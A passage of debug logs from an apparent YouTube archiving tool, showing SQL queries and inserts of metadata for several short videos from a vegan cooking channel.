s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [712] 20:28:29.747 [debug] Current batch of media processed. Will check again in 1000ms 20:28:30.748 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Watch me suffer for almost a whole minute 😂😂😂 🔥 🌶 \n\nThen head over to ‘How to Make the BEST Homemade Pickled Jalapenos! 🌶’\nhttps://youtu.be/_Va9Zy4IyNQ\n\nSeriously though — I DO like pickled jalapeños! 🤤 We just sometimes don’t understand each other 😆 If you love that spicy pickley burn then RUN to my blog/YouTube and check out how to make your own QUICK PICKLED JALAPEÑOS! \n\nsteamyvegankitchen.com/pickled-jalapenos/ \n\n#spicy #pickledjalapenos #hotpepper #steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking", "duration" => 54, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-08 Watch me suffer for a whole minute 🌶 🔥 🥵/Watch me suffer for a whole minute 🌶 🔥 🥵 [eKwKjqnvvqQ].NA", "id" => "eKwKjqnvvqQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/eKwKjqnvvqQ", "playlist_index" => 324, "timestamp" => 1657298406, "title" => "Watch me suffer for a whole minute 🌶 🔥 🥵", "upload_date" => "20220708"} 20:28:30.749 [debug] QUERY OK source="sources" db=0.4ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:30.750 [debug] QUERY OK source="sources" db=0.4ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:30.753 [debug] QUERY OK source="media_items" db=2.6ms idle=1003.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-08 16:40:06Z], 1] 20:28:30.754 [debug] QUERY OK source="media_items" db=1.1ms idle=1006.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Watch me suffer for almost a whole minute 😂😂😂 🔥 🌶 \n\nThen head over to ‘How to Make the BEST Homemade Pickled Jalapenos! 🌶’\nhttps://youtu.be/_Va9Zy4IyNQ\n\nSeriously though — I DO like pickled jalapeños! 🤤 We just sometimes don’t understand each other 😆 If you love that spicy pickley burn then RUN to my blog/YouTube and check out how to make your own QUICK PICKLED JALAPEÑOS! \n\nsteamyvegankitchen.com/pickled-jalapenos/ \n\n#spicy #pickledjalapenos #hotpepper #steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking", "Watch me suffer for a whole minute 🌶 🔥 🥵", "49245589-e426-41f9-9cd4-b1b5e4b9ae4b", 1, [], 54, false, "eKwKjqnvvqQ", "https://www.youtube.com/shorts/eKwKjqnvvqQ", 324, "/downloads/downloads/alec/Steamy Vegan/2022-07-08 Watch me suffer for a whole minute 🌶 🔥 🥵/Watch me suffer for a whole minute 🌶 🔥 🥵 [eKwKjqnvvqQ].NA", false, false, true, 4, ~U[2022-07-08 16:40:06Z], ~U[2026-03-22 03:28:30Z], ~U[2026-03-22 03:28:30Z], "Watch me suffer for almost a whole minute 😂😂😂 🔥 🌶 \n\nThen head over to ‘How to Make the BEST Homemade Pickled Jalapenos! 🌶’\nhttps://youtu.be/_Va9Zy4IyNQ\n\nSeriously though — I DO like pickled jalapeños! 🤤 We just sometimes don’t understand each other 😆 If you love that spicy pickley burn then RUN to my blog/YouTube and check out how to make your own QUICK PICKLED JALAPEÑOS! \n\nsteamyvegankitchen.com/pickled-jalapenos/ \n\n#spicy #pickledjalapenos #hotpepper #steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking", "Watch me suffer for a whole minute 🌶 🔥 🥵", 1, 54, false, "eKwKjqnvvqQ", "https://www.youtube.com/shorts/eKwKjqnvvqQ", "/downloads/downloads/alec/Steamy Vegan/2022-07-08 Watch me suffer for a whole minute 🌶 🔥 🥵/Watch me suffer for a whole minute 🌶 🔥 🥵 [eKwKjqnvvqQ].NA", true, ~U[2022-07-08 16:40:06Z]] 20:28:30.755 [debug] QUERY OK source="sources" db=0.3ms idle=420.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:30.756 [debug] QUERY OK source="media_profiles" db=0.9ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:30.757 [debug] QUERY OK source="media_items" db=0.4ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [713] 20:28:30.757 [debug] Current batch of media processed. Will check again in 1000ms 20:28:31.758 [debug] Current batch of media processed. Will check again in 1000ms 20:28:32.760 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I'm in the mood for vegan and gluten free baked goods in my kitchen. If you're considering eating more plant based, vegan and gluten free foods, don't worry about if your baked goods will still taste as good. They definitely will and I have several recipes like brownies, scones, nut clusters, pies, and more to help.\n\nDon't forget to subscribe so you don't miss any of my delicious vegan and gluten free baked goods! Thanks for your support! Janelle", "duration" => 13, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-07 Are You in the Mood For Something Sweet? 🤤 😋 👍#shorts #youtubeshorts/Are You in the Mood For Something Sweet? 🤤 😋 👍#shorts #youtubeshorts [8ZkQI5tsCxQ].NA", "id" => "8ZkQI5tsCxQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/8ZkQI5tsCxQ", "playlist_index" => 325, "timestamp" => 1657227604, "title" => "Are You in the Mood For Something Sweet? 🤤 😋 👍#shorts #youtubeshorts", "upload_date" => "20220707"} 20:28:32.761 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=421.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:32.761 [debug] QUERY OK source="sources" db=0.3ms idle=178.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:32.765 [debug] QUERY OK source="media_items" db=3.5ms idle=178.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-07 21:00:04Z], 1] 20:28:32.767 [debug] QUERY OK source="media_items" db=1.1ms idle=182.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I'm in the mood for vegan and gluten free baked goods in my kitchen. If you're considering eating more plant based, vegan and gluten free foods, don't worry about if your baked goods will still taste as good. They definitely will and I have several recipes like brownies, scones, nut clusters, pies, and more to help.\n\nDon't forget to subscribe so you don't miss any of my delicious vegan and gluten free baked goods! Thanks for your support! Janelle", "Are You in the Mood For Something Sweet? 🤤 😋 👍#shorts #youtubeshorts", "a48be0fd-7742-449d-8b8a-041ab876ebbc", 1, [], 13, false, "8ZkQI5tsCxQ", "https://www.youtube.com/shorts/8ZkQI5tsCxQ", 325, "/downloads/downloads/alec/Steamy Vegan/2022-07-07 Are You in the Mood For Something Sweet? 🤤 😋 👍#shorts #youtubeshorts/Are You in the Mood For Something Sweet? 🤤 😋 👍#shorts #youtubeshorts [8ZkQI5tsCxQ].NA", false, false, true, 0, ~U[2022-07-07 21:00:04Z], ~U[2026-03-22 03:28:32Z], ~U[2026-03-22 03:28:32Z], "I'm in the mood for vegan and gluten free baked goods in my kitchen. If you're considering eating more plant based, vegan and gluten free foods, don't worry about if your baked goods will still taste as good. They definitely will and I have several recipes like brownies, scones, nut clusters, pies, and more to help.\n\nDon't forget to subscribe so you don't miss any of my delicious vegan and gluten free baked goods! Thanks for your support! Janelle", "Are You in the Mood For Something Sweet? 🤤 😋 👍#shorts #youtubeshorts", 1, 13, false, "8ZkQI5tsCxQ", "https://www.youtube.com/shorts/8ZkQI5tsCxQ", "/downloads/downloads/alec/Steamy Vegan/2022-07-07 Are You in the Mood For Something Sweet? 🤤 😋 👍#shorts #youtubeshorts/Are You in the Mood For Something Sweet? 🤤 😋 👍#shorts #youtubeshorts [8ZkQI5tsCxQ].NA", true, ~U[2022-07-07 21:00:04Z]] 20:28:32.768 [debug] QUERY OK source="sources" db=0.6ms idle=184.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:32.768 [debug] QUERY OK source="media_profiles" db=0.2ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:32.769 [debug] QUERY OK source="media_items" db=0.3ms idle=7.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [714] 20:28:32.769 [debug] Current batch of media processed. Will check again in 1000ms 20:28:33.770 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Are you thinking of trying out more vegan and gluten free recipes but are too worried about how you'll bake some of your favorite chocolate baking recipes? I have lots of delicious vegan and gluten free recipes on my channel including brownies, chocolate cream pie, chocolate nut clusters and more for your consumption. Enjoy!!!\n\nDon't forget to subscribe so you don't miss any of my weekly videos! I'll be doing some delicious chocolate nice creams in the coming weeks! Janelle", "duration" => 11, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-07 Vegan Chocolate Recipes to Make You 🤤 🤤 🤤 ~ Gluten Free too!!! #shorts #youtubeshorts/Vegan Chocolate Recipes to Make You 🤤 🤤 🤤 ~ Gluten Free too!!! #shorts #youtubeshorts [A2S8AkjMmx0].NA", "id" => "A2S8AkjMmx0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/A2S8AkjMmx0", "playlist_index" => 326, "timestamp" => 1657220727, "title" => "Vegan Chocolate Recipes to Make You 🤤 🤤 🤤 ~ Gluten Free too!!! #shorts #youtubeshorts", "upload_date" => "20220707"} 20:28:33.772 [debug] QUERY OK source="sources" db=0.8ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:33.773 [debug] QUERY OK source="sources" db=0.7ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:33.776 [debug] QUERY OK source="media_items" db=2.5ms idle=1004.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-07 19:05:27Z], 1] 20:28:33.778 [debug] QUERY OK source="media_items" db=1.2ms idle=1007.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Are you thinking of trying out more vegan and gluten free recipes but are too worried about how you'll bake some of your favorite chocolate baking recipes? I have lots of delicious vegan and gluten free recipes on my channel including brownies, chocolate cream pie, chocolate nut clusters and more for your consumption. Enjoy!!!\n\nDon't forget to subscribe so you don't miss any of my weekly videos! I'll be doing some delicious chocolate nice creams in the coming weeks! Janelle", "Vegan Chocolate Recipes to Make You 🤤 🤤 🤤 ~ Gluten Free too!!! #shorts #youtubeshorts", "2a9047f2-f3ac-4688-b778-0d56e9fe2ed0", 1, [], 11, false, "A2S8AkjMmx0", "https://www.youtube.com/shorts/A2S8AkjMmx0", 326, "/downloads/downloads/alec/Steamy Vegan/2022-07-07 Vegan Chocolate Recipes to Make You 🤤 🤤 🤤 ~ Gluten Free too!!! #shorts #youtubeshorts/Vegan Chocolate Recipes to Make You 🤤 🤤 🤤 ~ Gluten Free too!!! #shorts #youtubeshorts [A2S8AkjMmx0].NA", false, false, true, 1, ~U[2022-07-07 19:05:27Z], ~U[2026-03-22 03:28:33Z], ~U[2026-03-22 03:28:33Z], "Are you thinking of trying out more vegan and gluten free recipes but are too worried about how you'll bake some of your favorite chocolate baking recipes? I have lots of delicious vegan and gluten free recipes on my channel including brownies, chocolate cream pie, chocolate nut clusters and more for your consumption. Enjoy!!!\n\nDon't forget to subscribe so you don't miss any of my weekly videos! I'll be doing some delicious chocolate nice creams in the coming weeks! Janelle", "Vegan Chocolate Recipes to Make You 🤤 🤤 🤤 ~ Gluten Free too!!! #shorts #youtubeshorts", 1, 11, false, "A2S8AkjMmx0", "https://www.youtube.com/shorts/A2S8AkjMmx0", "/downloads/downloads/alec/Steamy Vegan/2022-07-07 Vegan Chocolate Recipes to Make You 🤤 🤤 🤤 ~ Gluten Free too!!! #shorts #youtubeshorts/Vegan Chocolate Recipes to Make You 🤤 🤤 🤤 ~ Gluten Free too!!! #shorts #youtubeshorts [A2S8AkjMmx0].NA", true, ~U[2022-07-07 19:05:27Z]] 20:28:33.778 [debug] QUERY OK source="sources" db=0.5ms idle=436.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:33.779 [debug] QUERY OK source="media_profiles" db=0.6ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:33.780 [debug] QUERY OK source="media_items" db=0.5ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [715] 20:28:33.781 [debug] Current batch of media processed. Will check again in 1000ms 20:28:34.782 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Quick pickling is an aboslute must for you this summer to make meal prep way easier and increase the flavor of your veggies. This week I'll be launching several videos about quick pickling on my channel.\n\nCheck out the first episode here: https://youtu.be/kmBLjqO1DM8\n\nSubscribe so you don't miss any of the episodes! Thanks for your support! Janelle", "duration" => 13, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-07 Transform Your Veggies 🥕 🧅🌶#shorts #youtubeshorts/Transform Your Veggies 🥕 🧅🌶#shorts #youtubeshorts [mPPVrxHgIig].NA", "id" => "mPPVrxHgIig", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/mPPVrxHgIig", "playlist_index" => 327, "timestamp" => 1657214015, "title" => "Transform Your Veggies 🥕 🧅🌶#shorts #youtubeshorts", "upload_date" => "20220707"} 20:28:34.783 [debug] QUERY OK source="sources" db=0.5ms idle=1004.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:34.784 [debug] QUERY OK source="sources" db=0.5ms idle=1004.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:34.786 [debug] QUERY OK source="media_items" db=1.8ms idle=1004.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-07 17:13:35Z], 1] 20:28:34.787 [debug] QUERY OK source="media_items" db=0.9ms idle=1005.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Quick pickling is an aboslute must for you this summer to make meal prep way easier and increase the flavor of your veggies. This week I'll be launching several videos about quick pickling on my channel.\n\nCheck out the first episode here: https://youtu.be/kmBLjqO1DM8\n\nSubscribe so you don't miss any of the episodes! Thanks for your support! Janelle", "Transform Your Veggies 🥕 🧅🌶#shorts #youtubeshorts", "f07c271e-9d19-439e-aea8-5f5b24f3e6c1", 1, [], 13, false, "mPPVrxHgIig", "https://www.youtube.com/shorts/mPPVrxHgIig", 327, "/downloads/downloads/alec/Steamy Vegan/2022-07-07 Transform Your Veggies 🥕 🧅🌶#shorts #youtubeshorts/Transform Your Veggies 🥕 🧅🌶#shorts #youtubeshorts [mPPVrxHgIig].NA", false, false, true, 2, ~U[2022-07-07 17:13:35Z], ~U[2026-03-22 03:28:34Z], ~U[2026-03-22 03:28:34Z], "Quick pickling is an aboslute must for you this summer to make meal prep way easier and increase the flavor of your veggies. This week I'll be launching several videos about quick pickling on my channel.\n\nCheck out the first episode here: 